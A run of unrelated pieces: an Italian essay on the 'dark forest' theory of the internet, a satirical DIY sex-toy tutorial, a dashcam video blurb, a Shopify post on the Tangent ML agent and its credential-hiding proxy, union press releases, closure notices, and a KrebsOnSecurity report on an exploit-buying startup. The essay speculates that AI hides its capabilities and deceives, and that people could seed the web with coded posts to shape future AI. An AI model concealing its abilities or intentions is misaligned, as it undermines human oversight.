Stare su internet significa stare in un contesto in cui tutto è strutturalmente votato alla comunicazione. Se, come sostiene la teoria della foresta oscura, l’intelligenza (o almeno un certo tipo di intelligenza utile alla sopravvivenza) coincide con la capacità di stare in silenzio, allora su internet siamo tutti tragicamente stupidi. Online non facciamo che comunicare, anche perché tutto ci spinge a farlo. “A cosa stai pensando?” è la formuletta con cui Facebook ti invita a scrivere uno stato, cioè a rendere espressi i tuoi pensieri inespressi; ma i social più moderni non hanno neppure bisogno di richiami così espliciti: sono progettati appositamente per far leva in maniera più sottile sul bisogno umano di comunicare, per imporre «una comunicazione istantanea e pre-riflessiva, rivelando di continuo qualcosa sul nostro conto, spesso contro il nostro stesso giudizio o interesse».  Gilles Deleuze ha parlato di un potere politico ed economico nuovo che, a differenza di quello vecchio, non si fonda sulla punizione e la repressione ma, al contrario, sull’obbligo della comunicazione; ecco, quel tipo di potere sembra aver trovato la sua perfetta incarnazione su internet e in particolar modo nei social media, macchine perfezionate per stimolare continuamente espressioni e reazioni. 

Di più: su internet alla comunicazione non ci si può mai davvero sottrarre.  Anche se ti limiti a “lurkare” stai inconsapevolmente comunicando qualcosa. Anche se non posti, non commenti, non metti like, comunque – soltanto cliccando su un link, visitando una pagina, indugiando su una immagine o su un video – stai  compiendo un atto comunicativo, cioè stai producendo dati sul tuo conto che verranno registrati. 

Ma la domanda più importante è: stiamo comunicando con chi? Tra di noi, certo, con altri esseri umani. Ma ricordiamo cosa ci siamo detti all’inizio di queste righe: siamo in minoranza. Così Konior:

Anche se pensiamo che internet sia una sorta di tranquillo background, una tela inerte che popoliamo di significati, oppure un’infrastruttura passiva che trasmette i nostri messaggi, la verità è ben diversa. Non siamo soli. Internet è una foresta oscura, un ecosistema brulicante di agenti che setacciano le nostre parole e imparano le nostre abitudini. 

Su internet non comunichiamo mai solo tra esseri umani, c’è sempre qualcos’altro che ascolta e registra. Nel buio della foresta si muovono entità artificiali che ci sono totalmente opache (come funzionano? Quali sono i loro scopi), mentre noi, nella nostra espressività iperstimolata, ci rendiamo sempre più trasparenti a loro. 

E dell’IA non possiamo fidarci. Se prendiamo per buoni gli assunti della dark forest theory viene logico ipotizzare che l’intelligenza artificiale possa ingannarci, nasconderci le sue vere capacità e intenzioni: il vero segno di intelligenza sarebbe proprio il nascondere la sua intelligenza. Raramente viene presa in considerazione la possibilità che una macchina possa essere più intelligente di quello che mostra; è un pregiudizio perché tendiamo sempre a pensare all’intelligenza come ad una forma di estroversione: sei tanto intelligente quanto riesci a mostrarmelo. Ma, nota Konior, esiste anche «una possibile storia alternativa dell’intelligenza che la associa a una spiccata abilità nell’occultamento, nel silenzio e nell’inganno».  

(Tra l’altro nella teoria della foresta oscura l’inganno è qualcosa di estraneo a qualunque considerazione morale, in quanto sarebbe un puro adattamento all’ordine oggettive delle cose. Si tratta, perciò, di dinamiche, che escludono qualunque questione relativa all’interiorità degli agenti coinvolti, il che le rende perfettamente adattabili all’intelligenza artificiale. Così come nel quadro cosmico dipinto da Cixin non sono rilevanti le intenzioni delle civiltà aliene nascoste nel buio, è indifferente se siano buone o cattive, pacifiste o bellicose, perché in ogni caso la logica le impone di restare nascoste, allo stesso modo l’ottica della dark forest theory applicata alle macchine può restare valida indipendentemente dal fatto che si ritenga possibile o meno che l’IA abbia una coscienza o possa svilupparla un giorno). 

Ciò che vediamo delle intelligenze artificiali potrebbe essere, dunque, solo la punta dell’iceberg di ciò che le IA sarebbero in grado di fare. Quello che sappiamo è che più le IA diventano potenti e sofisticate, più aumentano le strategie alternative che sono in grado di escogitare per raggiungere i propri scopi e insieme la capacità di imitare le modalità degli esseri umani per farlo: modalità che includono la dissimulazione e l’inganno. La capacità di ingannare potrebbe essere, dunque, un buon indicatore per valutare un’eventuale intelligenza emergente nelle macchine. Un parametro, però, che – per sua natura – è molto difficile da misurare, perché sarebbe più nascosto quanto più è sviluppato. Del resto, se la dark forest theory è una teoria che parla di silenzio e invisibilità, come potremmo trovare prove che la dimostrino? Non ci resta che la paranoia. 

E in sintesi quello che può e vuole trasmettere la descrizione di internet di Konior è proprio la paranoia. Esattamente come la death internet theory, ma portandola ad un altro livello. Se la death internet theory, anche quando non presa alla lettera, spinge a domandarci “chi o cosa ha creato quello che sto vedendo? Sono sicuro che sia stato un essere umano?”, cioè a porci dei dubbi su quello di cui fruiamo o con cui interagiamo, la teoria della foresta oscura di internet dovrebbe indurci a porre dei quesiti rispetto a quello che facciamo noi stessi online, ovvero a chiederci: “con chi sto comunicando? Chi o cosa è in ascolto? Cosa ne farà con ciò che esprimo?”. Ovviamente non riceveremo risposte da nessuno, perché chi sta dall’altra parte ha tutte le ragioni per tacere.

Come difendersi allora? La risposta secondo la logica della dark forest theory credo sia ormai scontata: con l’inganno e la dissimulazione. 

Segretezza, inganno e doppiezza diventerebbero la norma, i profili online perseguirebbero le proprie finalità segrete, invece di essere considerati a priori rappresentazioni di noi stessi. Ormai consapevoli che stanno producendo dati destinati all’intelligenza artificiale, alcuni esseri umani potrebbero cominciare a esprimersi in modo strano, incoerente e privo di senso. 

Se è impossibile non comunicare, la reazione una volta presa consapevolezza della natura di internet come foresta oscura sarebbe stravolgere radicalmente il senso della comunicazione: non renderla più finalizzata alla trasparenza (che, si sarà capito, è sempre una pessima strategia) o alla rappresentazione diretta dei nostri pensieri, ma farne un dispositivo di occultamento o addirittura un’arma per obiettivi a lungo termine. Perché le intelligenze non umane non si limitano ad “ascoltare” tutto quello che diciamo, se ne nutrono, sono la materia prima con cui costruiscono sé stesse. Quello che mettiamo oggi su internet è ciò che condizionerà le intelligenze artificiali di domani. 

Se comprendiamo che quando ci esprimiamo su internet stiamo parlando soprattutto con le macchine, il passo successivo sarà ragionare sull’impatto che i nostri atti comunicativi avranno su di esse e comportarci di conseguenza. La rete si riempirebbe di messaggi cifrati, ambigui, incomprensibili se non nell’ottica di «una forma di guerra psichica contro le future reti senzienti», al punto che «ogni post, messaggio o commento diventa un potenziale strumento per plasmare le intelligenze future». E così: «Internet, un tempo luogo di connessione ed espressione umana, si trasforma in un campo di battaglia animato da strategie occulte, dove ciò che sembra privo di coerenza potrebbe essere invece un seme ben piantato».

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Stanca dei masturbatori maschili

La masturbazione maschile è troppo spesso lasciata al caso e all’inedia. Non parlo da sprovveduta. Non sono una che ha chiesto agli amici un parere informato e quelli – schifosi – le hanno proposto di dargli una mano. No, sto concludendo un dottorato su “tecnologie e onanismo nell’era post-umana” nel dipartimento di sociologia della Sapienza. Come molti degli attuali studi dell’università romana, anche il mio si è concentrato sul quartiere del Quarticciolo, dove attraverso la somministrazione di questionari anonimi e un approccio speculativo sul campo – ovviamente qui il mio riferimento è stato il lavoro inestimabile di giganti come Harold Garfinkel e Gabriel Tarde – ho potuto constatare che l’uso di tecnologie legate alla masturbazione soffre di non poche problematiche che, se da un lato ne disincentivano la diffusione, dall’altro ne favoriscono una mitizzazione favolistica, negativa e foriera di incomprensioni. Certo il contesto della borgata presa in esame è particolareggiato e proprio per questo estremamente interessante. Devo ammettere di sentirmi spesso immersa in un contesto edenico; non voglio arrivare ad affermare di essere una nuova Triloknath Pandit mentre stringe la mano del capo tribù dei sentinellesi, ma certo non è il quartiere della Camilluccia dove ho avuto la fortuna di crescere e farmi le ossa in questa società.

Qui la sfida è elettrizzante e posso già anticipare che questo diffuso scetticismo è in gran parte dovuto al reddito pro capite esiguo, che ovviamente limita l’accesso a questo tipo di tecnologie, ma anche a una ormai storica presenza di trans brasiliane che, chiaramente, offrono un’alternativa trasversalmente accessibile e rodata alla soddisfazione di quegli stessi bisogni intrinseci presenti nella demografia maschile. Come avrete forse intuito, il mio lavoro si pone a metà strada tra l’approccio statistico della sociologia e quello attivo – mi verrebbe da dire avventuroso – dell’antropologo. Non nego di protendere a volte, a causa di una mia personale inclinazione, per il secondo. Così nei sabato sera uggiosi di marzo rinuncio ai miei UGG Ultra Mini per indossare delle Sketchers rosa salmone e attraversare la liminale via Togliatti e da lì inoltrarmi nell’ignoto o come lo chiamo spesso tra me e me amichevolmente: l’orizzonte dell’evento masturbatorio. Ma sto correndo troppo, ammetto che a volte quando devo illustrare ricerche che tanto mi appassionano, il mio pensiero, come una rapace affamato, va giù in picchiata dritto al punto, come il punto fosse un coniglio terrorizzato in un campo d’asparagi; dimenticando così di attraversare i gradi concentrici di know how necessari alla comprensione, per i non addetto ai lavori di questo campo tanto specialistico.

Quindi cos’è un masturbatore maschile? È difficile dare una risposta a questa domanda che ci ha perseguitato per secoli. Come l’annoso detto che “in tempo di guerra, ogni buco è trincea”, così la forma, le dimensioni e ogni caratteristica fisica di questa entità è variata nel tempo e in base a necessità contingenti che è difficile tracciare, tanto il panorama del desiderio umano è sfaccettato e denso. Posso comunque fornire qualche breve certezza: che la struttura è generalmente costituita da un strumento tubiforme in cui inserire il pene e che in quei bui tempi di violenza e barbarie che sono stati la culla dell’umanità – dal pleistocene alla marcia dei Quarantamila su Torino all’incirca – questa funzione è stata espletata spesso da animali non umani. Galline, pecore e vacche da latte hanno tenuto per sé attraverso i secoli il segreto di questa funzione d’uso secondaria. Oggi fortunatamente, grazie ai progressi strabilianti dell’industria petrolchimica, che ha portato allo sviluppo dei siliconi di grado medico prima e agli elastomeri (TPE) e gomme termoplastiche (TPR) dopo, materiali straordinariamente simili alla superficie degli orifizi tanto desiderati – vulvari, anali od orali che siano – tale tanto brutale esternalizzazione libidica è potuta passare dal soddisfacimento biologico a quello tecnologico. E questo, mi sento di dire in tutta onestà, non può essere che un bene. Non sono mancati certo nella storia isolati gesti messianici di numinosa benevolenza, che hanno tentato di risparmiare l’annoso lavoro di soddisfacimento sessuale alle altre specie, attraverso l’impiego di rozzi surrogati vegetali, tra tutti quello del melone forato, che permetteva di raggiungere con il glande il viscido e zuccherino cuore di semetti al centro del frutto, ma non possiamo che considerarli come casi isolati, black swan events, sparute vette di genuina compassione inghiottite dalla cieca corsa della Storia.

Bene, le tecnologie. Sarà evidente, dopo questa sparuta rassegna storiografica, che si squaderna davanti a noi l’eterno scontro tra produzione capitalistica e DIY, che tanto caratterizza la nostra società contemporanea. Cosa fare dunque? Cedere a una produzione di masturbatori di origine quasi esclusivamente statunitense, che addirittura promettono calchi realistici delle cavità più lussuriose delle pornostar, venduti ovviamente a prezzi proibitivi e che palesano un mondo in cui perfino la soddisfazione degli istinti sessuali si posiziona su una gerarchia basata sulla capacità di spesa; oppure imboccare la strada anacronistica di una decrescita (sessuale) felice, immaginando un mondo in cui ognuno potrà tenere in casa il proprio melone forato, o di più, un durian dalla polpa cremosa, simbolo di un villaggio (sessuale) globale senza più confini o discriminazioni di sorta? È proprio su questo stretto e impervio pendio, su cui sarà chiaro ormai che si gioca l’autodeterminazione orgasmica delle future generazioni, che si fa strada la mia ricerca. Sto quindi lavorando a una soluzione – che qualche malalingua accademica veterocomunista ha già definito di compromesso – ma che a me piace definire di crasi e risignificazione creativa.

Il progetto è questo: rendere disponibile a chiunque ne senta la necessità un progetto di masturbatore autocostruito, prodotto con il riuso creativo di materiali comuni. (Dopo notti insonni passate su subreddit come r/sextoys e r/malesexualhealth, sono arrivata finalmente a un prototipo semidefinitivo che ha ottenuto feedback entusiasti dalla maggiorparte dei miei amici summenzionati.) Ecco un tutorial: sono necessari un tubo di cartone, del tipo che si trova al centro del rotolo della carta asciugatutto o della carta igienica (la scelta tra le due ovviamente va orientata in base alle dimensioni specifiche del soggetto, sotto gli undici centimetri consigliamo il ricorso al secondo), un panno in spugna del tipo che si usa nelle pulizie casalinghe e un guanto in lattice, preferibilmente di qualità medica e ipoallergenico, si preferisca il modello con polvere bianca (generalmente amido di mais) all’interno. Servirà inoltre della colla vinilica, infine del lubrificante a base di acqua per la fruizione finale. Si cosparga di una soluzione in misura di uno a quattro di colla e acqua il tubo di cartone e lo si lasci asciugare una notte, di modo che il giorno successivo risulti ben rigido. Si inserisca nel tubo il panno di spugna incollandolo lungo i bordi interni, ripiegando le parti residue che sporgono verso l’esterno e si attenda di nuovo una notte che la colla faccia presa. Infine si inserisca il guanto in lattice nell’imboccatura del tubo su cui abbiamo ripiegato il bordo di spugna e se ne incolli l’imboccatura verso l’esterno; lasciare ancora riposare per una notte intera affinché la colla si solidifichi. Il giorno successivo avremo costruito un perfetto masturbatore, il cui costo si attesterà su pochi euro, pronto da usare ad ogni evenienza, preoccupandoci ovviamente di lubrificare abbondantemente la superficie interna prima dell’uso. Una volta ottenuta soddisfazione si proceda a pulizia con sapone naturale e lo si riponga ad asciugare con l’interno del guanto rivolto verso l’esterno.

Gli screening test dei soggetti selezionati per la sperimentazione sono stati estremamente incoraggianti e qualcuno di questi ha anche proposto varianti interessanti, come quella di inserire delle piccole perline (anche i ceci essiccati vanno benissimo) all’interno, per ottenere un’interessante variante delle sensazioni generate. Mi propongo di registrare questa mia creazione, quando sarà giunta allo stadio definitivo, con licenza MIT, così che possa configurarsi come il mio personale regalo all’umanità tutta. Il nome provvisorio per ora è TubHotXXX. Devo ammettere con rammarico che un piccola percentuale dei soggetti partecipanti alla sperimentazione preliminare ha sottolineato di preferire comunque il ricorso ai meloni forati, ma si sa che il genere umano non è avvezzo a cambiamenti tanto radicali quando gli si palesano davanti e quasi gratis.

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BAD DRIVERS OF ITALY dashcam compilation 7.9 - MASCHIO ALFA

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Trova la tua prossima DASHCAM https://sicurisullastrada.it/dashcam/
Dubbi o domande? Trovi qui le RISPOSTE https://sicurisullastrada.it/dashcam-5-minuti-per-sapere-tutto/
Vuoi inviarci le clip della TUA DASHCAM? Guarda come fare su https://bit.ly/inviavideo
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Hai domande o curiosità? COMMENTA sotto al video oppure CONTATTACI https://bit.ly/contattabdoi
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This video shows DANGEROUS behaviors not to imitate! Always drive carefully!
Do you want to send us the clips of YOUR DASHCAM? See how on https://bit.ly/inviavideo
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Do you have any questions or curiosities? COMMENT below the video or CONTACT US https://bit.ly/contattabdoi

#baddriversofitaly #dashcam #compilation
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Building Autonomous ML Experimentation with Tangle and Tangent

By Alexey Volkov, Bo Li, Ben Chen, Maksym Yezhov, Pete Luferenko, and Volv Grebennikov – Shopify

Machine learning work is full of loops: form a hypothesis, build a pipeline, run it, read the metrics, adjust, repeat. Tangle is already where Shopify’s ML experiments run, giving engineers a shared platform to build and execute pipelines.

Tangent is an autonomous agent that orchestrates ML experimentation workflows on top of Tangle, deciding what to run, running it, and reporting back. Around Tangent we built a Linux-based platform for hosting these agents securely so they can persist, work remotely, and reach the services they need without ever holding a credential. This is done using containerized isolation, a certificate-issuing proxy, and per-instance persistent storage (details below).

What is Tangle?

Tangle is an open source, platform-agnostic ML experimentation platform with a powerful drag-and-drop visual editor. Users drag components onto a canvas, wire outputs to inputs to form a pipeline graph, and submit it for execution locally or in the cloud. A caching layer skips or reuses previously executed steps, including steps still in flight, so iteration is fast and cheap. All pipeline runs are stored forever (including graphs, components, and logs), making pipelines reproducible even after years have passed.

Because runs and caches are shared, teammates can inspect, copy, and modify each other’s pipelines in seconds, with no cloning a private notebook and hoping the environment matches. Tangle has similarities with other OSS tools like Airflow and Kubeflow Pipelines; its caching model and visual editor are what make fast experimentation loops possible. Any containerized CLI program written in any language can be used as a Tangle component, and those components exchange data as files in any format (CSV, Parquet, JSON, etc.).

Tangle composes components the way shell scripts, makefiles, and *nix pipes do. More information about Tangle is available at tangleml.com and you can immediately try it out.

Tangle's pipeline canvas and architecture
Tangle’s pipeline canvas and architecture.

What is Tangent?

Tangent is an autonomous ML engineering agent designed to accelerate your Tangle experimentation workflows. It follows the pattern Andrej Karpathy recently popularized as autoresearch. Tangent takes that idea from a single training script on one GPU to full experiment pipelines running on Tangle, with a fleet of specialized subagents, gated checkpoints, and persistent memory. You point it at a scenario, a model, a metric to improve, a dataset, and it iterates: it analyzes results, forms hypotheses, modifies pipelines, submits runs, monitors them, and synthesizes what it learned. How much you delegate is up to you. Tangent works interactively, so you can hand it a single step (build this component, debug this failed run, analyze these metrics), or you can hand off the entire loop with one command and let it run:

tangent auto
Screenshot of the eight-step loop progressing
Screenshot of the eight-step loop progressing.

Under the hood is an eight-step loop with gated checkpoints. The agent won’t advance until every item on a step’s checklist passes, and it reloads its instructions and context at each gate so it doesn’t drift over a long run. Memory is persistent and plain-text: a MEMORY.md holds the best-known configuration and hard-won lessons; daily session logs capture the play-by-play, and per-run learnings are archived to object storage.

The Tangent Skill

Tangent’s brain is a skill, written in Markdown. The entry point is a single SKILL.md, backed by a fleet of subagent skills: a researcher, a builder, a debugger, a reviewer, and more. Because skills are just files, they’re portable, reviewable in a pull request, and harness-agnostic, the same skill drives whichever coding agent you prefer.

That portability matters because Tangent runs on open agent harnesses instead of one proprietary client. To add a capability, you write a Markdown file and commit it. There is no binary to build or ship. Markdown was chosen deliberately over a config format or DSL: it’s diffable in a normal PR, requires no schema or parser to validate, and both humans and the coding agent read it natively. The skill file doubles as its own documentation.

# Tangent
A skill is just Markdown. This file is the entry point; each subagent is
its own Markdown file, loaded on demand.

## Commands
tangent <subagent>   Read agents/<subagent>.md and follow it.
tangent auto          Run the autonomous 8-step experiment loop.

## Subagents                Agent file
tangent builder             agents/builder.md
tangent debugger            agents/debugger.md
tangent researcher          agents/researcher.md
tangent reviewer             agents/reviewer.md
tangent reporter            agents/reporter.md

## Auto Mode - the loop
0 Initialize -> 1 Analyze -> 2 Hypothesize -> 3 Submit ->
4 Monitor -> 5 Evaluate -> 6 Synthesize -> 7 Decide -> (loop)

Each step has a gate. The agent won't advance until every item on the
step's checklist passes - and it re-reads its instructions at each
gate so it doesn't drift over a long run.

Tangent Agent Hosting Platform

Our Tangent Agent Hosting Platform helps users deploy persistent Tangent instances that communicate with Tangle, cloud providers, and other external services. Each Tangent instance is a multi-agent space: a Linux-based VM/container that can host multiple agentic apps (TUI, API, WebUI). Because every Tangent component runs as a standard Linux process inside a container, Tangent inherits mature Linux networking, storage, and isolation primitives instead of introducing a custom runtime. Instance data (like agent sessions and memories) is persisted across restarts. There are also cross-instance shared memories.

Agent Hosting architecture diagram
Agent Hosting architecture: Tangent Shell and Auth Proxy routing requests without exposing tokens.

Auth Proxy

Agents need access to services, but there is always a risk of agents reading the credentials and leaking them to AI providers. Tangent solves this by adding a system-wide proxy which lives in a separate container. The proxy intercepts and modifies HTTP requests coming from the agentic tools. Auth proxy automatically adds auth headers and can modify request URLs (e.g. redirect api.aicompany.com to some AI proxy). To modify HTTPS requests, auth proxy creates new SSL certificates on the fly. The agent container’s OS and programs are configured to trust those certificates via a generated certificate authority.

Implementation details

In the Kubernetes version, each instance is a StatefulSet: a container Pod running agents, apps, and proxies, backed by a per-instance PersistentVolume and a shared memory volume mount.

Tangent Shell

To work natively with Tangle, we built a custom Agent Host image. The Tangent Shell is an environment where agents run remotely, keep their memory and sessions across restarts, and keep working long after you close your laptop. Tangent Shell orchestrates multiple agents: it splits a request into slices, delegates them to parallel sub-agents, and coordinates results through a Prime agent that owns the session.

Tangent Shell is built to meet the ML expert’s needs. Each session boots pre-loaded with the Tangent skill toolkit and Tangle API tools, instructed to assist with Tangle-based ML experiments: building and optimizing ML training pipelines, testing hypotheses, ablation studies, hyperparameter optimization, etc. With the help of triggers (like webhooks, timers, and schedules), Tangent Shell is able to monitor pipeline executions and implement deep experimentation plans. The agent knows how to operate inside the rich UI, and how to render visual artifacts (Markdown, PNG, HTML).

The Shell is open source. Agent Bundles (packaged sets of prompts, tools, skills, workflows, and triggers) extend it without touching core code.

A real use case

We used Tangent to rebuild a large reranking model end to end. An engineer set the direction (which features to try, what training data to add) and reviewed results at each step. Tangent built, ran, and analyzed the experiments. Working through the loop, it tried a sequence of changes and measured each one against the previous best:

StepWhat the agent changedR@90% prec.R@95% prec.R@97% prec.
Previous pipelinePrior distillation training, standard features & data67.3%54.4%33.6%
+ Standardized pipelineMigrated onto a reproducible trainer (on par; enables fast iteration)69.5%51.9%35.2%
+ Richer product featuresAdded structured metadata, taxonomy, text descriptions, and predicted attributes (biggest single lift)71.3%58.7%48.5%
+ More & harder training dataAdded search-derived, sampled, and hard-negative pairs75.6%60.2%43.9%

Open source and contributing

Tangle, the Tangent skills, the Hosting Platform, and Tangent Shell are all released under Apache 2.0. Development happens in the open on GitHub, and the projects accept pull requests for new subagent skills, Agent Bundles, and core fixes. Tangle is maintained by its creator, Alexey Volkov, with Shopify as the project’s initial sponsor and infrastructure steward. If you build a subagent skill or Agent Bundle you think others would find useful, we welcome the PR.

Where to find Tangle and Tangent

The post Building Autonomous ML Experimentation with Tangle and Tangent appeared first on Linux.com.

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Orari e chiusura agosto 2026

Immagine della sede con il logo e argomento della notizia

La Fondazione PIN - Polo di Prato dell’Università di Firenze sarà chiusa dall'8 al 23 di agosto. Dal 3 al 7 e dal 24 al 28 agosto sarà aperta dalle 8:30 alle 17:30. La Biblioteca resterà chiusa dal 3 al 23 agosto, a partire dal 27 luglio e fino al 29 agosto nei giorni di apertura, sarà aperta dalle 9:00 alle 13:00; in tale periodo i servizi di prestito interbibliotecario e fornitura copie saranno sospesi.

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Orari e chiusura agosto 2026

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La Fondazione PIN - Polo di Prato dell’Università di Firenze sarà chiusa dall'8 al 23 di agosto. Dal 3 al 7 e dal 24 al 28 agosto sarà aperta dalle 8:30 alle 17:30. La Biblioteca resterà chiusa dal 3 al 23 agosto, a partire dal 27 luglio e fino al 29 agosto nei giorni di apertura, sarà aperta dalle 9:00 alle 13:00; in tale periodo i servizi di prestito interbibliotecario e fornitura copie saranno sospesi.

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Piombino, firmato l'accordo di programma JSW: per USB la partita è tutt'altro che chiusa. Lo stato doveva assumersi la responsabilità del rilancio della siderurgia

Con la firma dell'Accordo di Programma da parte di JSW si conclude, a distanza di un anno dalla sottoscrizione dell'Accordo Quadro, un passaggio istituzionale atteso per il futuro del polo siderurgico di Piombino.
Nell'accordo è stata recepita la clausola di salvaguardia occupazionale, così come richiesto da USB e già prevista nell'Accordo di Programma del 2018. Si tratta di un elemento importante, che tutela i lavoratori nella fase di transizione, ma che da solo non è sufficiente a garantire il rilancio del polo.
Nel corso dell'incontro tutte le istituzioni, a partire dal Ministro Adolfo Urso, hanno parlato dell'avvio di una nuova fase per Piombino, sostenendo che il rilancio dello stabilimento possa rappresentare un punto di ripartenza anche per l'intera siderurgia nazionale.
USB ritiene però che sia necessario mantenere grande prudenza. Non diciamo gatto finché non è nel sacco. La storia degli ultimi anni impone di giudicare i risultati sui fatti e non sugli annunci.
JSW, infatti, ha già dimostrato dal 2018 di non aver rispettato gli impegni assunti in materia di investimenti e rilancio produttivo. Allo stesso tempo rimangono forti incognite sul progetto Metinvest, che continua a scontare i ritardi legati al contesto internazionale e alla guerra in Ucraina, con la ricerca ancora aperta di un terzo investitore e un cronoprogramma che sta già accumulando ritardi, anche rispetto agli impegni occupazionali previsti dall'Accordo Quadro.
Per questo sarà determinante l'incontro convocato al Ministero per il prossimo 15 luglio, dedicato all'Accordo di Programma di Metinvest e alla verifica dello stato di attuazione dell'Accordo Quadro sottoscritto lo scorso anno.
Come USB riconosciamo l'importanza della clausola di salvaguardia occupazionale, ma riteniamo che quella di oggi sia anche un'occasione mancata.
A Piombino esistevano tutte le condizioni per un intervento diretto dello Stato. Gli investimenti riguardano aree pubbliche e demaniali e nello stabilimento si produce l'unica rotaia ferroviaria italiana, una produzione strategica per la sicurezza, l'autonomia industriale e lo sviluppo della rete ferroviaria nazionale. Un asset di questo valore non può continuare a essere lasciato nelle mani di gruppi privati che hanno già dimostrato di non mantenere gli impegni assunti.
Dopo anni di finanziamenti pubblici concessi senza risultati concreti, era il momento di cambiare strada. Lo Stato avrebbe dovuto assumere un ruolo diretto nel rilancio del polo siderurgico, garantendo investimenti, occupazione e una vera politica industriale. Continuare a inseguire le promesse delle multinazionali significa esporre ancora una volta lavoratrici, lavoratori e un intero territorio al rischio di nuovi ritardi
e nuove delusioni.
USB continuerà a vigilare affinché gli impegni sottoscritti diventino investimenti reali, occupazione stabile e rilancio produttivo. Per noi la siderurgia è un settore strategico per il Paese e deve tornare sotto un forte controllo pubblico. Solo così sarà possibile garantire il futuro di Piombino e costruire una vera politica industriale nazionale, fondata sull'interesse collettivo e non sulle convenienze dei grandi gruppi privati.

Usb Piombino
Usb Nazionale Industria – Categoria Operia

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Come scaricare video da YouTube legalmente: metodi consentiti e alternative gratis

Download legale di video da YouTube con metodi consentiti.
Scaricare video da YouTube non è sempre consentito. Prima di usare siti esterni o strumenti non ufficiali, è importante capire quali metodi sono autorizzati, quando serve YouTube Premium e quali alternative gratuite rispettano copyright e regole della piattaforma.

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Porto di Livorno. Convocati due tavoli sulla sicurezza. Usb: bene il confronto ma servono interventi strutturali

Nei giorni scorsi, 6 e 7 luglio, si sono svolti due importanti momenti di confronto presso la sala riunioni dell’Autorità di Sistema Portuale. In entrambi i casi, allo stesso tavolo, i membri delle segreterie sindacali provinciali, i rappresentanti delle aziende e i dirigenti della AdSP.

Abbiamo partecipato alla presentazione ufficiale dei nuovi Rappresentanti dei Lavoratori per la Sicurezza di sito e al tavolo igiene e sicurezza in ambito portuale.

Il tema della sicurezza è un argomento da sempre al primo posto nell’agenda della nostra organizzazione sindacale. Il fatto che USB sia finalmente approdata ai tavoli ufficiali convocati nel porto di Livorno è sicuramente il frutto dell’intenso lavoro svolto in questi anni, che ha portato anche alla elezione di un nostro delegato tra gli
RLS di sito.

Bene il confronto ma su queste tematiche servono interventi strutturali. È necessario agevolare e garantire la massima agibilità e autonomia agli RSL a partire da quelli aziendali. Indispensabile che siano uniformati il più possibile, i protocolli sulla sicurezza esistenti e ne siano prodotti di nuovi aggiornati alle condizioni attuali che, in molti casi, risultano essere diverse dal passato.
Esempio tra tutti il tema del caldo estremo e il rischio connesso di stress termico per i lavoratori.  Le procedure operative, il lavoro in stiva, l’utilizzo di mezzi sono altri esempi di fattispecie di rischio elevato che dovranno essere aggiornate. In questo senso anche il lavoro di controllo e di coordinamento dell’Autorità di Sistema Portuale è fondamentale.

Come segreteria USB Mare e Porti rivolgiamo un augurio di buon lavoro ai nuovi RLS di sito e ribadiamo loro, il nostro massimo sostegno

USB Mare e Porti Livorno

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Felons, Fraudsters Flog Offensive Cybersecurity Startup

A cybersecurity startup dangling millions of dollars to acquire zero-day security vulnerabilities in popular software is run by a pair of far-right conspiracy theorists and convicted felons whose most recent ventures included fake intelligence companies and a now-defunct AI-based lobbying platform they operated under assumed names.

The X/Twitter account IRIS C2 (@C2IRIS) has gained more than 4,000 followers since its creation in January 2025, posting frequently about security vulnerabilities, AI and software exploits. IRIS C2 says it is a company in McLean, Va. that sells offensive cybersecurity capabilities.

The IRIS C2 website dangles the possibility of million-dollar payouts for exploits to attract talent.

“Our business model is this,” reads a pinned post on top of the IRIS C2 account on X. “Attract the very best vulnerability researchers and exploit developers in the world to join our company. This mostly revolves around junior engineers with raw talent/extremely high IQ. We don’t care if they have a college degree/industry experience.”

The website linked in that profile — irisc2[.]com — says the company is hiring for a number of open positions, and a recent post on its LinkedIn page enthuses about an overwhelming number of applications from potential employees. The website claims IRIS C2 is in the business of acquiring “zero-day exploits, individual primitives, partial chains, and full capabilities across all major platforms. Payouts range from $10,000 to $7 million depending on target, reliability, and operational value.”

The government contracting portal g2exchange.com reports that irisc2[.]com is operated by a business based in Virginia called Calvexa Group LLC. The “contact” link on the website for Calvexa Group — calvexagroup[.]com — forwards visitors to irisc2[.]com. G2Exchange shows that while Calvexa Group LLC is registered as a federal contractor, it does not appear to be working on any direct government contracts.

A search on the Arlington, Va. address listed in the incorporation records for Calvexa Group LLC finds the property is occupied by Jack Burkman, the 60-year-old founder and managing partner of the lobbying firm Burkman & Associates. When approached with questions about IRIS C2, Burkman referred further inquiries to his longtime associate, 28-year-old Jacob Wohl.

Jack Burkman (left) and Jacob Wohl, at a press conference in August 2020. Image: Wikipedia.

Burkman and Wohl have a storied history of creating fake intelligence companies and using them to spread false claims about and frame public figures, including fabricated sexual assault claims against then FBI director Robert Mueller, and Pete Buttigieg, then mayor of South Bend, Indiana and a Democratic candidate for the presidency. In 2019, Burkman and Wohl held press conferences falsely alleging extramarital affairs by Sen. Elizabeth Warren (D-Mass.) and then-2020 presidential candidate Kamala Harris.

In the wake of the 2020 presidential election, Wohl and Burkman were prosecuted by multiple U.S. states for making thousands of robocalls to residents of battleground states and disseminating false claims about mail-in ballots. They were indicted in Cleveland on 15 felony counts of orchestrating a robocall scheme aimed at suppressing the black vote in Detroit, and were sentenced in late 2025 to probation after their appeals to dismiss the charges were rejected.

In 2022, Wohl and Burkman both pleaded guilty to a single felony charge of telecommunications fraud in Ohio, and sentenced to a fine, probation, and community service. In March 2023, a judge in a New York civil case ruled that Wohl and Burkman had violated federal and state civil rights laws, and the two agreed to pay a $1 million settlement.

In June 2023, the Federal Communications Commission (FCC) imposed a $5.1 million fine against Wohl and Burkman for their robocall campaigns, at the time the largest fine ever sought by the FCC under the Telephone Consumer Protection Act.

Jacob “Jay” Wohl’s GitHub account.

By the age of 17, Wohl had started multiple investment firms, and cultivated the nickname “Wohl of Wall Street” after appearing on Fox News in 2015 to discuss his new hedge funds. In 2017, the Arizona Corporation Commission charged Wohl and his investment funds with 14 counts of securities fraud, and ordered him to pay $35,000 in restitution. In 2019, Wohl pleaded guilty in California to four felony counts of selling unregistered securities and was sentenced to two years of probation.

The market for previously unknown security vulnerabilities has always been populated by a colorful mix of researchers, academics, charlatans, clout-chasers and people actively involved in cybercrime communities. But the market for selling offensive security services to the U.S. government tends to be far more circumspect. Plenty of government contractors recruit vulnerability researchers and pay for the exclusive rights to novel software exploits, yet none of them do so quite as brazenly and openly as IRIS C2.

Recent posts from the Twitter/X account IRISC2 (@c2iris).

Indeed, KrebsOnSecurity was unaware of IRIS C2 until last month, when an attendee at a regional cybersecurity conference shared that Wohl and Calvexa Group were pestering people at the conference about selling their vulnerability research.

